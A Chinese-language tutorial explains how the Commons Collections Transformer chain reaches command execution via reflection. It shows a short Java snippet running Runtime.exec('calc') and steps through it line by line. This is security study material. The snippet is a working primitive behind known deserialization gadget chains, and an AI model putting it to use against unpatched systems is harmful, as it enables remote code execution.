Java安全 反序列化(2) 链的命令执行原理分析
CC链的命令执行原理的前置学习便于快速学习CC链
环境要求
存在漏洞的版本 commons-collections3.1-3.2.1
JDK 8u71之后已修复不可利⽤
[TOC]
Transformer实现任意命令执行
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Transformer_exec {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"})};
Transformer transformer= new ChainedTransformer(transformers);
transformer.transform(123);
}
}
可以实现任意命令执行
逐行分析
1.新建Transformer 数组
Transformer[] transformers = new Transformer[]
2.Transformer数组内容
{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"})};
涉及Constanttransformer 和 InvokerTransformer
Constanttransformer接受 Object 传递给 this.iConstant
Runtime.getRuntime()
通过Runtim静态方法getRuntime获取Runtime对象
将Runtime对象赋值给 iConstant
InvokerTransformer
接受 String methodName="exec", Class[] paramTypes={String.class}, Object[] args={"calc"}
分别赋值给iMethodName,iParamTypes,iArgs
参数1.方法名2.参数类型3.具体参数
3.新建ChainedTransformer具有多态
Transformer transformer= new ChainedTransformer(transformers);
接受Transform[] 传递给iTransformers
4.调用transform方法
transformer.transform(123);
具体实现类是ChainedTransformer相当于调用 ChainedTransformer#transform
动态调试
为了便于理解我们采取调试分析
此时我们传入123 作为 Interger对象
iTransformers就是Constanttransformer 和 InvokerTransformer
1.当i=0时取到Constanttransformer
Constanttransformer#transform
直接返回iConstant也就时Runtime对象
Runtime对象覆盖了Interger对象
2.当i=1时取到 InvokerTransformer
调用IvokerTransformer的transform方法
传入input为Runtime对象
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
有没有认为这一段非常眼熟
就是反射调用Runtime.getRuntime.exec()方法(底层实现)
等价于
Class cls = Runtime.getClass();
Method method = cls.getMethod("exec", "String.class");
return method.invoke(Runtime, "calc");
所以我们可以执行任意命令